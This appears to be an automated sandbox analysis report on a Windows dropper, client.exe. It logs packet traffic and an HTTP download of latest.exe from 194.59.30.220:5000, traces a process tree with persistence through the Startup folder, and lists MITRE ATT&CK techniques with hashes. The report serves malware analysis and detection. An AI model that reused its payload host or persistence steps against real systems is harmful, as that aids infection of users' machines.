Dec 18, 2024 11:40:34.493263960 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.493274927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.493288040 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.493294954 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.493294954 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.493294954 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.493302107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.493632078 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.493644953 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.493704081 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.493704081 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.493704081 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.494012117 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.494208097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.495376110 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.496115923 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.496141911 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.496153116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.496258974 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.496274948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.496287107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.496332884 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.496332884 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.496332884 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.501058102 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.501137018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.501148939 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.501197100 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.501260996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.501272917 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.501286030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.501318932 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.501318932 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.501318932 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.501437902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.501496077 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.501508951 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.502280951 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.502377987 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.502424955 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.502424955 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.502424955 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.503220081 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.503258944 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.503349066 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.504240036 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.504314899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.504404068 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.505235910 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.505353928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.505469084 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.506361961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.506484985 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.507332087 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.507354975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.507448912 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.507592916 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.508200884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.508311987 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.508563042 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.509186029 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.509351015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.509720087 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.510224104 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.510325909 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.510782003 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.511185884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.511290073 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.511393070 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.512192011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.512300968 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.512366056 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.513169050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.513372898 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.513474941 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.514151096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.514338017 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.514539003 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.515156984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.515232086 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.515342951 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.516129017 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.516181946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.516669035 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.517170906 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.517317057 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.517733097 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.518126965 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.518183947 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.518562078 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.519145012 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.519248962 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.519340038 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.520123005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.520222902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.520355940 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.521133900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.521209002 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.521413088 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.522094011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.522216082 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.522475958 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.523087978 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.523190022 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.523336887 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.524106979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.524327040 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.525191069 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.530621052 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.530690908 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.531008005 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.531017065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.531146049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.531354904 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.532061100 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.532274961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.532713890 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.533276081 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.581768036 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.667289019 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.667366982 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.667454004 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.667622089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.667725086 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.667833090 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.668637991 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.668726921 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.668766975 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.669637918 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.669704914 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.669838905 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.670669079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.670809031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:34.670856953 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:34.671632051 CET	5000	49705	194.59.30.220	192.168.2.5

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	194.59.30.220	5000	432	C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:40:26.479553938 CET	167	OUT	GET /download HTTP/1.1 Host: 194.59.30.220:5000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, br, zstd Accept: / Connection: keep-alive
Dec 18, 2024 11:40:27.775988102 CET	388	IN	HTTP/1.1 200 OK Server: Werkzeug/3.1.3 Python/3.12.8 Date: Wed, 18 Dec 2024 10:40:27 GMT Content-Disposition: attachment; filename=latest.exe Content-Type: application/x-msdownload Content-Length: 57821696 Last-Modified: Wed, 18 Dec 2024 10:36:41 GMT Cache-Control: no-cache ETag: "1734518201.482592-57821696-3755153351" Date: Wed, 18 Dec 2024 10:40:27 GMT Connection: close

Target ID:	0
Start time:	05:40:19
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\client.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\client.exe"
Imagebase:	0x7ff6b0800000
File size:	11'687'936 bytes
MD5 hash:	0367368930008D4A8A1E61DD36397276
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	05:40:19
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:40:22
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\client.exe
Imagebase:	0x7ff7e2ef0000
File size:	17'782'784 bytes
MD5 hash:	B5712CB60C06909B9B4479AADD03FF9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:41:57
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "latest.exe"
Imagebase:	0x7ff7dc630000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	05:41:57
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\latest.exe
Wow64 process (32bit):	false
Commandline:	latest.exe
Imagebase:	0x7ff723ab0000
File size:	57'821'696 bytes
MD5 hash:	8E8D4E8C939EBAF71FB1A593B92ED618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	05:42:06
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe"
Imagebase:	0x7ff7aa830000
File size:	57'821'696 bytes
MD5 hash:	8E8D4E8C939EBAF71FB1A593B92ED618
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:42:07
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:42:21
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\latest.exe
Imagebase:	0x7ff7a6140000
File size:	58'422'784 bytes
MD5 hash:	05B6254021999F744DF72E1EF9C57451
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	05:42:28
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe"
Imagebase:	0x7ff61aa10000
File size:	58'422'784 bytes
MD5 hash:	05B6254021999F744DF72E1EF9C57451
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00007FF6B080C0F0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6B080C11C
GetCurrentThreadId.KERNEL32 ref: 00007FF6B080C12A
GetCurrentProcessId.KERNEL32 ref: 00007FF6B080C136
QueryPerformanceCounter.KERNEL32 ref: 00007FF6B080C146

Memory Dump Source

Source File: 00000000.00000002.4543419003.00007FF6B0801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B0800000, based on PE: true

Associated: 00000000.00000002.4543344270.00007FF6B0800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4543505893.00007FF6B0822000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4543535162.00007FF6B082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4543535162.00007FF6B0841000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4543535162.00007FF6B0845000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4543535162.00007FF6B084B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4543811982.00007FF6B0854000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b0800000_client.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: e5452eedf9582e092569b7414b2f17c91349fbc22d9af30a0b797327307e927a
Instruction ID: 8dc106447016f27eb6cdb024be866d4587286671d0cc4bd8dc4316c5cddac82c
Opcode Fuzzy Hash: e5452eedf9582e092569b7414b2f17c91349fbc22d9af30a0b797327307e927a
Instruction Fuzzy Hash: 4A112E26B14F059AEF00CF64E8546B837A4FB19B58F440E35EB6D867A5DF78D254C340

Analysis Process: latest.exePID: 6152, Parent PID: 1680COMMON

Non-executed Functions

Function 00007FF723ABC0F0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF723ABC11C
GetCurrentThreadId.KERNEL32 ref: 00007FF723ABC12A
GetCurrentProcessId.KERNEL32 ref: 00007FF723ABC136
QueryPerformanceCounter.KERNEL32 ref: 00007FF723ABC146

Memory Dump Source

Source File: 00000009.00000002.4543283861.00007FF723AB1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FF723AB0000, based on PE: true

Associated: 00000009.00000002.4543178877.00007FF723AB0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000009.00000002.4543420496.00007FF723AD2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000009.00000002.4543490201.00007FF723ADF000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000009.00000002.4543490201.00007FF723AF1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000009.00000002.4543490201.00007FF723AF5000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000009.00000002.4543490201.00007FF723AFB000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000009.00000002.4543679784.00007FF723B04000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000009.00000002.4543679784.00007FF724504000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff723ab0000_latest.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: e5452eedf9582e092569b7414b2f17c91349fbc22d9af30a0b797327307e927a
Instruction ID: adbf160e067dded4ff317c82ae7ef4ef25a896b76825621590bcd67eb8f4e462
Opcode Fuzzy Hash: e5452eedf9582e092569b7414b2f17c91349fbc22d9af30a0b797327307e927a
Instruction Fuzzy Hash: A7114822B14B0A8AEB40DB60EC456A973B4FB18758F840A31EA6D527A4EF38D194C750

Analysis Process: latest.exePID: 4196, Parent PID: 1028COMMON

Non-executed Functions

Function 00007FF7AA83C0F0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7AA83C11C
GetCurrentThreadId.KERNEL32 ref: 00007FF7AA83C12A
GetCurrentProcessId.KERNEL32 ref: 00007FF7AA83C136
QueryPerformanceCounter.KERNEL32 ref: 00007FF7AA83C146

Memory Dump Source

Source File: 0000000A.00000002.3495047268.00007FF7AA831000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF7AA830000, based on PE: true

Associated: 0000000A.00000002.3495027927.00007FF7AA830000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000A.00000002.3495075925.00007FF7AA852000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000A.00000002.3495098892.00007FF7AA85F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000A.00000002.3495098892.00007FF7AA871000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000A.00000002.3495098892.00007FF7AA875000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000A.00000002.3495098892.00007FF7AA877000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000A.00000002.3495098892.00007FF7AA879000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000A.00000002.3495098892.00007FF7AA87B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000A.00000002.3495234045.00007FF7AA884000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000A.00000002.3495234045.00007FF7AB284000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000A.00000002.3495234045.00007FF7ABC84000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000A.00000002.3495234045.00007FF7AC684000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000A.00000002.3495234045.00007FF7AD084000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000A.00000002.3495234045.00007FF7ADA84000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7aa830000_latest.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: e5452eedf9582e092569b7414b2f17c91349fbc22d9af30a0b797327307e927a
Instruction ID: f38d78b2ad9705929d18977ae8433936dab5af68e93be19c78dc6154d047a431
Opcode Fuzzy Hash: e5452eedf9582e092569b7414b2f17c91349fbc22d9af30a0b797327307e927a
Instruction Fuzzy Hash: 9B114C26B16B02CAFF01DB60E8442A973A4FB18758F850A71EE6D437A4EF38D5658350

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

